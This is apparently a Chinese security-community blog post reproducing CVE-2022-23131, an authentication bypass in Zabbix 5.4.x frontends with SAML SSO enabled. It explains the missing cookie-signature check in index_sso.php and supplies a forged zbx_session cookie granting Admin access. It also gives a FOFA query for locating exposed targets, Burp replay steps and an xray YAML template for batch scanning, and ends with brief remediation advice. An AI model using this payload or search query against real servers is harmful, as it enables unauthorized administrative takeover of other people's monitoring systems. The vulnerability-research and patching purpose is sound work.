CVE-2022-23131漏洞复现 | 身份认证绕过

白帽子社区

共 1751字,需浏览 4分钟

 ·

2022-03-01 14:57

本文来自“白帽子社区知识星球”

作者:B1anda0



白帽子社区知识星球

加入星球,共同进步
01

漏洞成因


在启用 SAML SSO 身份验证(非默认)的情况下,恶意攻击者可以修改会话数据 来实现身份认证绕过。未经身份验证的恶意攻击者可能会利用此问题来提升权限并获 得对 Zabbix 前端的管理员访问权限。 


该漏洞存在于index_sso.php文件中,由于index_sso.php文件未调用

CEncryptedCookieSession::checkSign()

方法对cookie进行校验,且客户端的cookie可被伪造。


从index_sso.php文件中可以看出,当伪造的cookie中存在saml_data时,获取 username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份 认证绕过。



payload:

Cookie:zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9



受影响版本: 

zabbix 5.4.0 - 5.4.8

zabbix 6.0.0alpha1


02

漏洞复现


fofa:app="ZABBIX-监控系统" && body="saml"



burp抓包将请求路径文件改为index_sso.php , Cookie替换为:


zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9


放包即可绕过身份认证




xray批量检测poc:

name: poc-yaml-zabbix-saml-cve-2022-23131
manual: true
transport: http
rules:
r0:
request:
cache: true
method: GET
path: /index_sso.php
headers:
Cookie:
zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRta
W4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
follow_redirects: false
expression: response.status == 302 &&
response.headers["location"] == "zabbix.php?
action=dashboard.view"
expression: r0()
detail:
author: B1anda0(https://github.com/B1anda0)
links:
- https://blog.sonarsource.com/zabbix-case-study-ofunsafe-session-storag


检测效果:



03

修复方案


1、禁用 SAML 身份验证 


2、升级安全版本:

https://support.zabbix.com/browse/ZBX-20350


参考链接:

https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storagehttps://y4er.com/post/cve-2022-23131-zabbix-web-frontend-bypassing-the-saml-sso-authentication/


如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。



▼扫码关注白帽子社区公众号&加入知识星球▼


浏览 146
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报